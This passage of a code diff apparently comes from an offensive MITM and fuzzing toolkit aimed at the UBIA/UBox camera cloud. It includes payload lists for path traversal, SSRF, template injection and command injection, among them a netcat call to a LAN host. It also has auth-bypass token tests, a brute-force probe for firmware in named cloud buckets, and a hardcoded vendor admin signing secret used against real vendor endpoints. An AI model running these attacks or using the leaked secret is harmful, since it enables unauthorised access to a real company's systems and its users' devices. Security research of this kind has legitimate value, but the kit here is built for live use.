|
{"device_uid": 12345},
|
||||||
|
{"device_uid": True},
|
||||||
|
{"device_uid": False},
|
||||||
|
{"device_uid": None},
|
||||||
|
{"device_uid": []},
|
||||||
|
{"device_uid": [1, 2, 3]},
|
||||||
|
{"device_uid": {"key": "value"}},
|
||||||
|
{"device_uid": 0},
|
||||||
|
{"device_uid": -1},
|
||||||
|
{"device_uid": 1.5},
|
||||||
|
{"page": "abc"},
|
||||||
|
{"page": True},
|
||||||
|
{"page": None},
|
||||||
|
{"page": []},
|
||||||
|
{"count": "all"},
|
||||||
|
{"zone_id": "global"},
|
||||||
|
],
|
||||||
|
"path_traversal": [
|
||||||
|
{"device_uid": "../../etc/passwd"},
|
||||||
|
{"device_uid": "..\\..\\etc\\passwd"},
|
||||||
|
{"device_uid": "%2e%2e%2f%2e%2e%2fetc%2fpasswd"},
|
||||||
|
{"device_uid": "....//....//etc/passwd"},
|
||||||
|
{"file": "/etc/passwd"},
|
||||||
|
{"file": "/etc/shadow"},
|
||||||
|
{"path": "/proc/self/environ"},
|
||||||
|
{"url": "file:///etc/passwd"},
|
||||||
|
{"filename": "../../../etc/passwd"},
|
||||||
|
],
|
||||||
|
"ssrf": [
|
||||||
|
{"url": "http://127.0.0.1"},
|
||||||
|
{"url": "http://localhost"},
|
||||||
|
{"url": "http://169.254.169.254/latest/meta-data/"},
|
||||||
|
{"url": "http://[::1]"},
|
||||||
|
{"url": "http://0.0.0.0"},
|
||||||
|
{"callback_url": "http://127.0.0.1:8080"},
|
||||||
|
{"webhook": "http://localhost:9090"},
|
||||||
|
{"firmware_url": "http://127.0.0.1/evil.bin"},
|
||||||
|
],
|
||||||
|
"xss_ssti": [
|
||||||
|
{"device_uid": "<script>alert(1)</script>"},
|
||||||
|
{"name": "<img src=x onerror=alert(1)>"},
|
||||||
|
{"device_uid": "{{7*7}}"},
|
||||||
|
{"device_uid": "${7*7}"},
|
||||||
|
{"device_uid": "<%=7*7%>"},
|
||||||
|
{"name": "{{config}}"},
|
||||||
|
{"name": "${env}"},
|
||||||
|
],
|
||||||
|
"command_injection": [
|
||||||
|
{"device_uid": "; id"},
|
||||||
|
{"device_uid": "| id"},
|
||||||
|
{"device_uid": "$(id)"},
|
||||||
|
{"device_uid": "`id`"},
|
||||||
|
{"device_uid": "; cat /etc/passwd"},
|
||||||
|
{"device_uid": "| nc 192.168.1.172 4444"},
|
||||||
|
{"name": "; whoami"},
|
||||||
|
{"wifi_ssid": "test'; ping -c1 192.168.1.172; '"},
|
||||||
|
{"firmware_url": "http://x/$(id)"},
|
||||||
|
],
|
||||||
|
"format_string": [
|
||||||
|
{"device_uid": "%s%s%s%s%s"},
|
||||||
|
{"device_uid": "%x%x%x%x"},
|
||||||
|
{"device_uid": "%n%n%n%n"},
|
||||||
|
{"device_uid": "%p%p%p%p"},
|
||||||
|
{"name": "%s" * 50},
|
||||||
|
],
|
||||||
|
"null_byte": [
|
||||||
|
{"device_uid": "valid\x00admin"},
|
||||||
|
{"device_uid": "J7HYJJFFFXRDKBYGPVRA\x00.txt"},
|
||||||
|
{"account": "admin\x00@evil.com"},
|
||||||
|
{"file": "image.jpg\x00.php"},
|
||||||
|
],
|
||||||
|
"unicode": [
|
||||||
|
{"device_uid": "\uff41\uff44\uff4d\uff49\uff4e"},
|
||||||
|
{"account": "admin\u200b@test.com"},
|
||||||
|
{"device_uid": "\u0000\u0001\u0002"},
|
||||||
|
{"name": "\ud800"},
|
||||||
|
],
|
||||||
|
"large_json": [
|
||||||
|
{"a": "b" * 100000},
|
||||||
|
dict([(f"key_{i}", f"val_{i}") for i in range(1000)]),
|
||||||
|
{"nested": {"a": {"b": {"c": {"d": {"e": "deep"}}}}}},
|
||||||
|
],
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
class Fuzzer:
|
||||||
|
def __init__(self, cfg):
|
||||||
|
self.cfg = cfg
|
||||||
|
self.results = []
|
||||||
|
self.running = False
|
||||||
|
self._lock = threading.Lock()
|
||||||
|
|
||||||
|
def _post(self, endpoint, data, token=None, timeout=5):
|
||||||
|
url = f"{self.cfg['api_base']}/{endpoint}"
|
||||||
|
body = json.dumps(data).encode("utf-8")
|
||||||
|
req = urllib.request.Request(url, data=body, method="POST")
|
||||||
|
req.add_header("Content-Type", "application/json")
|
||||||
|
req.add_header("X-UbiaAPI-CallContext", "source=app&app=ubox&ver=1.1.360&osver=14")
|
||||||
|
if token:
|
||||||
|
req.add_header("X-Ubia-Auth-UserToken", token)
|
||||||
|
try:
|
||||||
|
with urllib.request.urlopen(req, timeout=timeout) as resp:
|
||||||
|
code = resp.getcode()
|
||||||
|
body = resp.read().decode("utf-8", errors="replace")[:500]
|
||||||
|
return code, body
|
||||||
|
except urllib.error.HTTPError as e:
|
||||||
|
body = e.read().decode("utf-8", errors="replace")[:500]
|
||||||
|
return e.code, body
|
||||||
|
except Exception as e:
|
||||||
|
return 0, str(e)
|
||||||
|
|
||||||
|
def _add_result(self, endpoint, method, status, note, response=""):
|
||||||
|
with self._lock:
|
||||||
|
self.results.append({
|
||||||
|
"endpoint": endpoint,
|
||||||
|
"method": method,
|
||||||
|
"status": status,
|
||||||
|
"note": note,
|
||||||
|
"response": response[:300],
|
||||||
|
})
|
||||||
|
|
||||||
|
def _parse_app_code(self, body):
|
||||||
|
"""Extract the application-level code from JSON response body.
|
||||||
|
UBIA API always returns HTTP 200 — real status is in {"code": N}"""
|
||||||
|
try:
|
||||||
|
data = json.loads(body)
|
||||||
|
return data.get("code", -1), data
|
||||||
|
except:
|
||||||
|
return -1, {}
|
||||||
|
|
||||||
|
def fuzz_endpoints(self):
|
||||||
|
"""Discover hidden API endpoints"""
|
||||||
|
self.running = True
|
||||||
|
log("FUZZ: starting endpoint discovery...", C_INFO)
|
||||||
|
token = self.cfg["api_token"]
|
||||||
|
delay = self.cfg.get("fuzzer_delay", 0.2)
|
||||||
|
|
||||||
|
all_endpoints = list(set(KNOWN_ENDPOINTS + ENDPOINT_WORDLIST))
|
||||||
|
total = len(all_endpoints)
|
||||||
|
|
||||||
|
for i, ep in enumerate(all_endpoints):
|
||||||
|
if not self.running:
|
||||||
|
break
|
||||||
|
|
||||||
|
# Try with auth
|
||||||
|
code, body = self._post(ep, {}, token)
|
||||||
|
|
||||||
|
if code == 0:
|
||||||
|
continue # connection error
|
||||||
|
elif code == 404:
|
||||||
|
continue # not found
|
||||||
|
elif code == 200:
|
||||||
|
app_code, parsed = self._parse_app_code(body)
|
||||||
|
if app_code == 0:
|
||||||
|
# Real success
|
||||||
|
log(f"FUZZ: [{code}] {ep} — FOUND (app_code=0)", C_IMPORTANT)
|
||||||
|
self._add_result(ep, "POST", code, "accessible", body)
|
||||||
|
|
||||||
|
# Now test without auth
|
||||||
|
code2, body2 = self._post(ep, {}, None)
|
||||||
|
app_code2, _ = self._parse_app_code(body2)
|
||||||
|
if app_code2 == 0:
|
||||||
|
log(f"FUZZ: [{code2}] {ep} — REAL NO AUTH BYPASS!", C_IMPORTANT)
|
||||||
|
self._add_result(ep, "POST_NOAUTH", code2, "NO_AUTH_CONFIRMED", body2)
|
||||||
|
elif app_code2 != 10004:
|
||||||
|
log(f"FUZZ: [{code2}] {ep} — unusual no-auth response: code={app_code2}", C_TRAFFIC)
|
||||||
|
self._add_result(ep, "POST_NOAUTH", code2, f"noauth_code_{app_code2}", body2)
|
||||||
|
elif app_code == 10004:
|
||||||
|
# Token rejected even with our valid token — interesting
|
||||||
|
log(f"FUZZ: [{code}] {ep} — exists but token rejected", C_TRAFFIC)
|
||||||
|
self._add_result(ep, "POST", code, "token_rejected", body)
|
||||||
|
elif app_code == 10001:
|
||||||
|
# Invalid params — endpoint exists
|
||||||
|
log(f"FUZZ: [{code}] {ep} — FOUND (needs params)", C_TRAFFIC)
|
||||||
|
self._add_result(ep, "POST", code, "needs_params", body)
|
||||||
|
else:
|
||||||
|
log(f"FUZZ: [{code}] {ep} — app_code={app_code}", C_TRAFFIC)
|
||||||
|
self._add_result(ep, "POST", code, f"app_code_{app_code}", body)
|
||||||
|
elif code == 405:
|
||||||
|
log(f"FUZZ: [{code}] {ep} — wrong method", C_TRAFFIC)
|
||||||
|
self._add_result(ep, "POST", code, "method_not_allowed", body)
|
||||||
|
else:
|
||||||
|
log(f"FUZZ: [{code}] {ep}", 0)
|
||||||
|
self._add_result(ep, "POST", code, f"http_{code}", body)
|
||||||
|
|
||||||
|
if (i + 1) % 50 == 0:
|
||||||
|
log(f"FUZZ: progress {i+1}/{total}", C_INFO)
|
||||||
|
|
||||||
|
time.sleep(delay)
|
||||||
|
|
||||||
|
log(f"FUZZ: endpoint scan done — {len(self.results)} results", C_SUCCESS)
|
||||||
|
self.running = False
|
||||||
|
|
||||||
|
def fuzz_params(self, endpoint):
|
||||||
|
"""Test parameter mutations on a specific endpoint"""
|
||||||
|
self.running = True
|
||||||
|
log(f"FUZZ: parameter fuzzing on {endpoint}...", C_INFO)
|
||||||
|
token = self.cfg["api_token"]
|
||||||
|
delay = self.cfg.get("fuzzer_delay", 0.1)
|
||||||
|
|
||||||
|
for category, payloads in PARAM_MUTATIONS.items():
|
||||||
|
if not self.running:
|
||||||
|
break
|
||||||
|
log(f"FUZZ: testing {category}...", C_INFO)
|
||||||
|
for payload in payloads:
|
||||||
|
if not self.running:
|
||||||
|
break
|
||||||
|
code, body = self._post(endpoint, payload, token)
|
||||||
|
note = f"{category}: {json.dumps(payload)[:80]}"
|
||||||
|
if code == 200:
|
||||||
|
log(f"FUZZ: [{code}] {note} — ACCEPTED", C_IMPORTANT)
|
||||||
|
elif code == 500:
|
||||||
|
log(f"FUZZ: [{code}] {note} — SERVER ERROR!", C_IMPORTANT)
|
||||||
|
else:
|
||||||
|
log(f"FUZZ: [{code}] {note}", C_TRAFFIC)
|
||||||
|
self._add_result(endpoint, category, code, note, body)
|
||||||
|
time.sleep(delay)
|
||||||
|
|
||||||
|
log(f"FUZZ: param fuzzing done", C_SUCCESS)
|
||||||
|
self.running = False
|
||||||
|
|
||||||
|
def fuzz_auth(self):
|
||||||
|
"""Test authentication bypass techniques"""
|
||||||
|
self.running = True
|
||||||
|
log("FUZZ: testing auth bypass...", C_INFO)
|
||||||
|
delay = self.cfg.get("fuzzer_delay", 0.2)
|
||||||
|
test_endpoints = ["user/device_list", "v2/user/device_list", "user/families"]
|
||||||
|
|
||||||
|
tests = [
|
||||||
|
("no_token", None),
|
||||||
|
("empty_token", ""),
|
||||||
|
("invalid_token", "invalidtoken123"),
|
||||||
|
("expired_format", "xxxx1234567890abcdef"),
|
||||||
|
("sql_token", "' OR '1'='1"),
|
||||||
|
("null_byte", "valid\x00admin"),
|
||||||
|
("long_token", "A" * 1000),
|
||||||
|
]
|
||||||
|
|
||||||
|
for ep in test_endpoints:
|
||||||
|
if not self.running:
|
||||||
|
break
|
||||||
|
for test_name, token_val in tests:
|
||||||
|
if not self.running:
|
||||||
|
break
|
||||||
|
code, body = self._post(ep, {}, token_val)
|
||||||
|
app_code, _ = self._parse_app_code(body)
|
||||||
|
if code == 200 and app_code == 0:
|
||||||
|
log(f"FUZZ: AUTH BYPASS! [{code}] {ep} with {test_name} (app_code=0!)", C_IMPORTANT)
|
||||||
|
elif code == 200 and app_code != 10004:
|
||||||
|
log(f"FUZZ: [{code}] {ep} {test_name} app_code={app_code}", C_TRAFFIC)
|
||||||
|
else:
|
||||||
|
log(f"FUZZ: [{code}] {ep} {test_name} — rejected", 0)
|
||||||
|
self._add_result(ep, f"auth_{test_name}", code, f"{test_name}_appcode_{app_code}", body)
|
||||||
|
time.sleep(delay)
|
||||||
|
|
||||||
|
log("FUZZ: auth bypass testing done", C_SUCCESS)
|
||||||
|
self.running = False
|
||||||
|
|
||||||
|
def stop(self):
|
||||||
|
self.running = False
|
||||||
|
|
||||||
|
def save_results(self, path=None):
|
||||||
|
path = path or f"{self.cfg['log_dir']}/fuzz_results_{int(time.time())}.json"
|
||||||
|
with open(path, "w") as f:
|
||||||
|
json.dump(self.results, f, indent=2)
|
||||||
|
log(f"FUZZ: results saved to {path}", C_SUCCESS)
|
||||||
|
return path
|
||||||
154
api/ota_bucket_probe.py
Normal file
154
api/ota_bucket_probe.py
Normal file
@@ -0,0 +1,154 @@
|
|||||||
|
"""
|
||||||
|
OTA bucket enumerator.
|
||||||
|
|
||||||
|
The UBIA OTA buckets are Tencent COS:
|
||||||
|
ubiaota-us-1312441409.cos.na-siliconvalley.myqcloud.com
|
||||||
|
ubiaota-cn-1312441409.cos.ap-guangzhou.myqcloud.com
|
||||||
|
|
||||||
|
Anonymous LIST is denied, but individual objects can be public-read (we
|
||||||
|
confirmed this with the dev_add_doc/1159_video/* demo video). This module
|
||||||
|
guesses common firmware paths and reports any that return non-403/404.
|
||||||
|
"""
|
||||||
|
|
||||||
|
import json
|
||||||
|
import os
|
||||||
|
import urllib.request
|
||||||
|
import urllib.error
|
||||||
|
from datetime import datetime
|
||||||
|
|
||||||
|
from utils.log import log, C_INFO, C_SUCCESS, C_ERROR, C_IMPORTANT, C_TRAFFIC
|
||||||
|
|
||||||
|
BUCKETS = [
|
||||||
|
"http://ubiaota-us-1312441409.cos.na-siliconvalley.myqcloud.com",
|
||||||
|
"http://ubiaota-cn-1312441409.cos.ap-guangzhou.myqcloud.com",
|
||||||
|
]
|
||||||
|
|
||||||
|
# Path templates — {pid} = product id (1619 for our camera),
|
||||||
|
# {model} = model number (2604), {ver} = a version string
|
||||||
|
PATH_TEMPLATES = [
|
||||||
|
"/dev_add_doc/{pid}/firmware.bin",
|
||||||
|
"/dev_add_doc/{pid}/host.bin",
|
||||||
|
"/dev_add_doc/{pid}/wifi.bin",
|
||||||
|
"/dev_add_doc/{pid}/{model}.bin",
|
||||||
|
"/dev_add_doc/{pid}/{ver}.bin",
|
||||||
|
"/dev_add_doc/{pid}/{ver}/host.bin",
|
||||||
|
"/dev_add_doc/{pid}/{ver}/firmware.bin",
|
||||||
|
"/dev_add_doc/{pid}/{model}.{ver}.bin",
|
||||||
|
"/dev_add_doc/{pid}_video/",
|
||||||
|
"/firmware/{pid}/host.bin",
|
||||||
|
"/firmware/{pid}/{ver}.bin",
|
||||||
|
"/firmware/{model}/{ver}.bin",
|
||||||
|
"/ota/{pid}/host.bin",
|
||||||
|
"/ota/{pid}/{ver}.bin",
|
||||||
|
"/ota/{model}/{ver}.bin",
|
||||||
|
"/ota/{model}.{ver}.bin",
|
||||||
|
"/{pid}/firmware.bin",
|
||||||
|
"/{pid}/host.bin",
|
||||||
|
"/{pid}/{ver}.bin",
|
||||||
|
"/{model}/{ver}.bin",
|
||||||
|
"/host/{model}/{ver}.bin",
|
||||||
|
"/wifi/{model}/{ver}.bin",
|
||||||
|
"/upgrade/{pid}/{ver}.bin",
|
||||||
|
"/upgrade/{model}/{ver}.bin",
|
||||||
|
"/dev_fw/{pid}/{ver}.bin",
|
||||||
|
"/dev_fw/{model}/{ver}.bin",
|
||||||
|
"/{model}.{ver}.bin",
|
||||||
|
"/{ver}.bin",
|
||||||
|
]
|
||||||
|
|
||||||
|
# Versions to try — descending from current downward
|
||||||
|
VERSIONS_TO_TRY = [
|
||||||
|
"2604.1.2.69",
|
||||||
|
"2604.1.2.68",
|
||||||
|
"2604.1.2.0",
|
||||||
|
"2604.0.29.8",
|
||||||
|
"2604.0.29.7",
|
||||||
|
"2604.0.29.0",
|
||||||
|
"2604.0.0.0",
|
||||||
|
"2604",
|
||||||
|
]
|
||||||
|
|
||||||
|
PRODUCT_IDS = ["1619"]
|
||||||
|
MODELS = ["2604"]
|
||||||
|
|
||||||
|
|
||||||
|
def _head(url, timeout=8):
|
||||||
|
req = urllib.request.Request(url, method="HEAD", headers={
|
||||||
|
"User-Agent": "okhttp/4.9.1",
|
||||||
|
})
|
||||||
|
try:
|
||||||
|
with urllib.request.urlopen(req, timeout=timeout) as r:
|
||||||
|
return r.status, dict(r.headers), None
|
||||||
|
except urllib.error.HTTPError as e:
|
||||||
|
return e.code, dict(e.headers) if e.headers else {}, None
|
||||||
|
except urllib.error.URLError as e:
|
||||||
|
return None, {}, str(e.reason)
|
||||||
|
except Exception as e:
|
||||||
|
return None, {}, str(e)
|
||||||
|
|
||||||
|
|
||||||
|
def _build_paths():
|
||||||
|
paths = set()
|
||||||
|
for pid in PRODUCT_IDS:
|
||||||
|
for model in MODELS:
|
||||||
|
for ver in VERSIONS_TO_TRY:
|
||||||
|
for tmpl in PATH_TEMPLATES:
|
||||||
|
paths.add(tmpl.format(pid=pid, model=model, ver=ver))
|
||||||
|
return sorted(paths)
|
||||||
|
|
||||||
|
|
||||||
|
def probe(cfg=None):
|
||||||
|
"""
|
||||||
|
Try every path×bucket combo. Report any HEAD that returns 200 or
|
||||||
|
that has Content-Length > 0. Also report 403 (auth required —
|
||||||
|
means the object exists), separately from 404.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
{
|
||||||
|
"ok": bool,
|
||||||
|
"found": [{"url","status","size","content_type"}],
|
||||||
|
"exists_403": [...],
|
||||||
|
"tried": int,
|
||||||
|
}
|
||||||
|
"""
|
||||||
|
paths = _build_paths()
|
||||||
|
log(f"OTA-PROBE: trying {len(paths)} paths × {len(BUCKETS)} buckets = "
|
||||||
|
f"{len(paths) * len(BUCKETS)} requests…", C_INFO)
|
||||||
|
|
||||||
|
found = []
|
||||||
|
exists_403 = []
|
||||||
|
tried = 0
|
||||||
|
for bucket in BUCKETS:
|
||||||
|
for p in paths:
|
||||||
|
url = bucket + p
|
||||||
|
tried += 1
|
||||||
|
status, headers, err = _head(url)
|
||||||
|
if err:
|
||||||
|
continue
|
||||||
|
ct = headers.get("Content-Type", "?")
|
||||||
|
cl = headers.get("Content-Length", "0")
|
||||||
|
try:
|
||||||
|
cl_i = int(cl)
|
||||||
|
except (TypeError, ValueError):
|
||||||
|
cl_i = 0
|
||||||
|
if status == 200:
|
||||||
|
log(f" ✓ HIT 200 {url} size={cl_i} ct={ct}", C_IMPORTANT)
|
||||||
|
found.append({"url": url, "status": 200,
|
||||||
|
"size": cl_i, "content_type": ct})
|
||||||
|
elif status == 403:
|
||||||
|
# Tencent COS returns 403 for "exists but no access" AND for
|
||||||
|
# "doesn't exist" — but the response body differs. We log
|
||||||
|
# them anyway since some might be real.
|
||||||
|
exists_403.append({"url": url, "status": 403, "ct": ct})
|
||||||
|
elif status and status not in (404,):
|
||||||
|
log(f" ? {status} {url}", C_TRAFFIC)
|
||||||
|
|
||||||
|
log(f"OTA-PROBE: done. {len(found)} hits, {len(exists_403)} 403s, "
|
||||||
|
f"{tried - len(found) - len(exists_403)} misses", C_SUCCESS)
|
||||||
|
|
||||||
|
return {
|
||||||
|
"ok": bool(found),
|
||||||
|
"found": found,
|
||||||
|
"exists_403_count": len(exists_403),
|
||||||
|
"tried": tried,
|
||||||
|
}
|
||||||
147
api/server.py
Normal file
147
api/server.py
Normal file
@@ -0,0 +1,147 @@
|
|||||||
|
"""REST API server — allows external tools (like Claude) to control the MITM tool"""
|
||||||
|
|
||||||
|
import json
|
||||||
|
import threading
|
||||||
|
from http.server import HTTPServer, BaseHTTPRequestHandler
|
||||||
|
from utils.log import log, log_lines, C_SUCCESS, C_ERROR, C_INFO
|
||||||
|
|
||||||
|
|
||||||
|
class MITMApiHandler(BaseHTTPRequestHandler):
|
||||||
|
controller = None # Set by start_server
|
||||||
|
|
||||||
|
def log_message(self, format, *args):
|
||||||
|
pass # Suppress default HTTP logging
|
||||||
|
|
||||||
|
def _send_json(self, data, code=200):
|
||||||
|
body = json.dumps(data).encode("utf-8")
|
||||||
|
self.send_response(code)
|
||||||
|
self.send_header("Content-Type", "application/json")
|
||||||
|
self.send_header("Content-Length", len(body))
|
||||||
|
self.end_headers()
|
||||||
|
self.wfile.write(body)
|
||||||
|
|
||||||
|
def _read_body(self):
|
||||||
|
cl = int(self.headers.get("Content-Length", 0))
|
||||||
|
if cl > 0:
|
||||||
|
return json.loads(self.rfile.read(cl).decode("utf-8"))
|
||||||
|
return {}
|
||||||
|
|
||||||
|
def do_GET(self):
|
||||||
|
path = self.path.rstrip("/")
|
||||||
|
|
||||||
|
if path == "/status":
|
||||||
|
self._send_json({
|
||||||
|
"services_running": self.controller.services_running,
|
||||||
|
"flags": dict(self.controller.flags),
|
||||||
|
"config": self.controller.cfg.safe_dict(),
|
||||||
|
})
|
||||||
|
|
||||||
|
elif path == "/logs":
|
||||||
|
count = 100
|
||||||
|
if "?" in self.path:
|
||||||
|
for param in self.path.split("?")[1].split("&"):
|
||||||
|
if param.startswith("count="):
|
||||||
|
count = int(param.split("=")[1])
|
||||||
|
with log_lines._mutex if hasattr(log_lines, '_mutex') else threading.Lock():
|
||||||
|
lines = [(l, c) for l, c in list(log_lines)[-count:]]
|
||||||
|
self._send_json({"logs": [l for l, _ in lines]})
|
||||||
|
|
||||||
|
elif path == "/devices":
|
||||||
|
self._send_json({"devices": self.controller.get_devices()})
|
||||||
|
|
||||||
|
elif path == "/config":
|
||||||
|
self._send_json(self.controller.cfg.safe_dict())
|
||||||
|
|
||||||
|
elif path == "/fuzz/results":
|
||||||
|
if self.controller.fuzzer:
|
||||||
|
self._send_json({"results": self.controller.fuzzer.results})
|
||||||
|
else:
|
||||||
|
self._send_json({"results": []})
|
||||||
|
|
||||||
|
else:
|
||||||
|
self._send_json({"error": "not found", "endpoints": [
|
||||||
|
"GET /status", "GET /logs?count=N", "GET /devices",
|
||||||
|
"GET /config", "GET /fuzz/results",
|
||||||
|
"POST /start", "POST /stop", "POST /config",
|
||||||
|
"POST /command", "POST /api", "POST /fuzz/endpoints",
|
||||||
|
"POST /fuzz/params", "POST /fuzz/auth", "POST /fuzz/stop",
|
||||||
|
"POST /inject",
|
||||||
|
]}, 404)
|
||||||
|
|
||||||
|
def do_POST(self):
|
||||||
|
path = self.path.rstrip("/")
|
||||||
|
body = self._read_body()
|
||||||
|
|
||||||
|
if path == "/start":
|
||||||
|
threading.Thread(target=self.controller.start_services, daemon=True).start()
|
||||||
|
self._send_json({"status": "starting"})
|
||||||
|
|
||||||
|
elif path == "/stop":
|
||||||
|
threading.Thread(target=self.controller.stop_services, daemon=True).start()
|
||||||
|
self._send_json({"status": "stopping"})
|
||||||
|
|
||||||
|
elif path == "/config":
|
||||||
|
for k, v in body.items():
|
||||||
|
if k in self.controller.cfg.keys():
|
||||||
|
self.controller.cfg[k] = v
|
||||||
|
self.controller.cfg.save()
|
||||||
|
self._send_json({"status": "updated", "config": self.controller.cfg.safe_dict()})
|
||||||
|
|
||||||
|
elif path == "/command":
|
||||||
|
cmd = body.get("cmd", "")
|
||||||
|
if cmd:
|
||||||
|
self.controller.process_command(cmd)
|
||||||
|
self._send_json({"status": "executed", "cmd": cmd})
|
||||||
|
else:
|
||||||
|
self._send_json({"error": "provide 'cmd' field"}, 400)
|
||||||
|
|
||||||
|
elif path == "/api":
|
||||||
|
endpoint = body.get("endpoint", "")
|
||||||
|
data = body.get("data", {})
|
||||||
|
if endpoint:
|
||||||
|
from api import ubox_client
|
||||||
|
result = ubox_client.api_post(
|
||||||
|
self.controller.cfg["api_base"], endpoint,
|
||||||
|
data, self.controller.cfg["api_token"])
|
||||||
|
self._send_json({"result": result})
|
||||||
|
else:
|
||||||
|
self._send_json({"error": "provide 'endpoint' field"}, 400)
|
||||||
|
|
||||||
|
elif path == "/fuzz/endpoints":
|
||||||
|
threading.Thread(target=self.controller.run_fuzz_endpoints, daemon=True).start()
|
||||||
|
self._send_json({"status": "started"})
|
||||||
|
|
||||||
|
elif path == "/fuzz/params":
|
||||||
|
endpoint = body.get("endpoint", "user/device_list")
|
||||||
|
threading.Thread(target=self.controller.run_fuzz_params,
|
||||||
|
args=(endpoint,), daemon=True).start()
|
||||||
|
self._send_json({"status": "started", "endpoint": endpoint})
|
||||||
|
|
||||||
|
elif path == "/fuzz/auth":
|
||||||
|
threading.Thread(target=self.controller.run_fuzz_auth, daemon=True).start()
|
||||||
|
self._send_json({"status": "started"})
|
||||||
|
|
||||||
|
elif path == "/fuzz/stop":
|
||||||
|
if self.controller.fuzzer:
|
||||||
|
self.controller.fuzzer.stop()
|
||||||
|
self._send_json({"status": "stopped"})
|
||||||
|
|
||||||
|
elif path == "/inject":
|
||||||
|
result = self.controller.inject_packet(body)
|
||||||
|
self._send_json(result)
|
||||||
|
|
||||||
|
else:
|
||||||
|
self._send_json({"error": "not found"}, 404)
|
||||||
|
|
||||||
|
|
||||||
|
def start_server(controller, port=9090):
|
||||||
|
MITMApiHandler.controller = controller
|
||||||
|
server = HTTPServer(("0.0.0.0", port), MITMApiHandler)
|
||||||
|
server.timeout = 1
|
||||||
|
log(f"REST API: listening on :{port}", C_SUCCESS)
|
||||||
|
|
||||||
|
while controller.running:
|
||||||
|
server.handle_request()
|
||||||
|
|
||||||
|
server.server_close()
|
||||||
|
log("REST API: stopped", C_INFO)
|
||||||
257
api/ubox_client.py
Normal file
257
api/ubox_client.py
Normal file
@@ -0,0 +1,257 @@
|
|||||||
|
"""UBox cloud API client — authenticate, list devices, check firmware, etc."""
|
||||||
|
|
||||||
|
import hashlib
|
||||||
|
import hmac
|
||||||
|
import base64
|
||||||
|
import json
|
||||||
|
import time
|
||||||
|
import urllib.request
|
||||||
|
import urllib.error
|
||||||
|
from utils.log import log, C_SUCCESS, C_ERROR, C_INFO, C_TRAFFIC, C_IMPORTANT
|
||||||
|
|
||||||
|
|
||||||
|
# ─── OAM (operator/admin) endpoint signing ───────────────────────
|
||||||
|
# Hardcoded secret extracted from com/http/OamHttpClient.java:28
|
||||||
|
OAM_BASE_URLS = [
|
||||||
|
"https://oam.ubianet.com/api",
|
||||||
|
"https://dev.ubianet.com/oam/api",
|
||||||
|
]
|
||||||
|
OAM_APPID = "30001"
|
||||||
|
OAM_CLIENT_ID = "" # empty in app code; may need to be set per-deployment
|
||||||
|
OAM_SECRET = "2894df25f8f740dff5266bc155c662ca"
|
||||||
|
|
||||||
|
|
||||||
|
def oam_sign(body_str, ts_ms, appid=OAM_APPID, client_id=OAM_CLIENT_ID,
|
||||||
|
secret=OAM_SECRET):
|
||||||
|
"""
|
||||||
|
Reproduce com.http.Encryption.Hmac:
|
||||||
|
sig_str = "<ts>:<appid>:<clientId>:<body>"
|
||||||
|
hmac = HmacSHA1(sig_str.utf8, secret.bytes)
|
||||||
|
result = hex(hmac)
|
||||||
|
"""
|
||||||
|
sig_str = f"{ts_ms}:{appid}:{client_id}:{body_str}"
|
||||||
|
h = hmac.new(secret.encode("utf-8"), sig_str.encode("utf-8"), hashlib.sha1)
|
||||||
|
return h.hexdigest()
|
||||||
|
|
||||||
|
|
||||||
|
def oam_post(endpoint, data, base_url=None):
|
||||||
|
"""
|
||||||
|
POST to an OAM endpoint with the OAM-SIGN header set.
|
||||||
|
Tries each known OAM base URL if the first fails.
|
||||||
|
"""
|
||||||
|
body = json.dumps(data).encode("utf-8")
|
||||||
|
body_str = body.decode("utf-8")
|
||||||
|
ts_ms = str(int(time.time() * 1000))
|
||||||
|
sign = oam_sign(body_str, ts_ms)
|
||||||
|
|
||||||
|
headers = {
|
||||||
|
"Content-Type": "application/json",
|
||||||
|
"OAM-SIGN": sign,
|
||||||
|
"OAM-APPID": OAM_APPID,
|
||||||
|
"CLIENT-ID": OAM_CLIENT_ID,
|
||||||
|
"timestamp": ts_ms,
|
||||||
|
"X-UbiaAPI-CallContext": "source=app&app=ubox&ver=1.1.360&osver=14",
|
||||||
|
}
|
||||||
|
|
||||||
|
bases = [base_url] if base_url else OAM_BASE_URLS
|
||||||
|
last_err = None
|
||||||
|
for b in bases:
|
||||||
|
url = f"{b}/{endpoint}"
|
||||||
|
log(f"OAM: POST {url}", C_INFO)
|
||||||
|
log(f" sign-str = {ts_ms}:{OAM_APPID}::{body_str[:80]}", C_INFO)
|
||||||
|
log(f" OAM-SIGN = {sign}", C_INFO)
|
||||||
|
req = urllib.request.Request(url, data=body, method="POST", headers=headers)
|
||||||
|
try:
|
||||||
|
with urllib.request.urlopen(req, timeout=15) as resp:
|
||||||
|
payload = json.loads(resp.read().decode("utf-8"))
|
||||||
|
log(f"OAM: {json.dumps(payload, indent=2)[:400]}", C_TRAFFIC)
|
||||||
|
return payload
|
||||||
|
except urllib.error.HTTPError as e:
|
||||||
|
body_text = e.read().decode("utf-8", errors="replace")[:400]
|
||||||
|
log(f"OAM: HTTP {e.code} from {b}: {body_text}", C_ERROR)
|
||||||
|
last_err = {"error": e.code, "body": body_text, "base": b}
|
||||||
|
except Exception as e:
|
||||||
|
log(f"OAM: error from {b}: {e}", C_ERROR)
|
||||||
|
last_err = {"error": str(e), "base": b}
|
||||||
|
return last_err or {"error": "all OAM bases failed"}
|
||||||
|
|
||||||
|
|
||||||
|
def oam_fuzz(endpoints):
|
||||||
|
"""
|
||||||
|
Hit a list of candidate OAM endpoints with empty bodies and report
|
||||||
|
which ones return non-404 responses (i.e. exist).
|
||||||
|
"""
|
||||||
|
results = {"hits": [], "404s": 0, "errors": 0, "tried": 0}
|
||||||
|
for ep in endpoints:
|
||||||
|
results["tried"] += 1
|
||||||
|
r = oam_post(ep, {})
|
||||||
|
if isinstance(r, dict):
|
||||||
|
err = r.get("error")
|
||||||
|
if err == 404:
|
||||||
|
results["404s"] += 1
|
||||||
|
elif err is not None:
|
||||||
|
results["errors"] += 1
|
||||||
|
results["hits"].append({"endpoint": ep, "error": err,
|
||||||
|
"body": r.get("body", "")[:200]})
|
||||||
|
else:
|
||||||
|
# Real JSON came back (msg=success or msg=fail with code)
|
||||||
|
results["hits"].append({"endpoint": ep,
|
||||||
|
"code": r.get("code"),
|
||||||
|
"msg": r.get("msg"),
|
||||||
|
"data": r.get("data")})
|
||||||
|
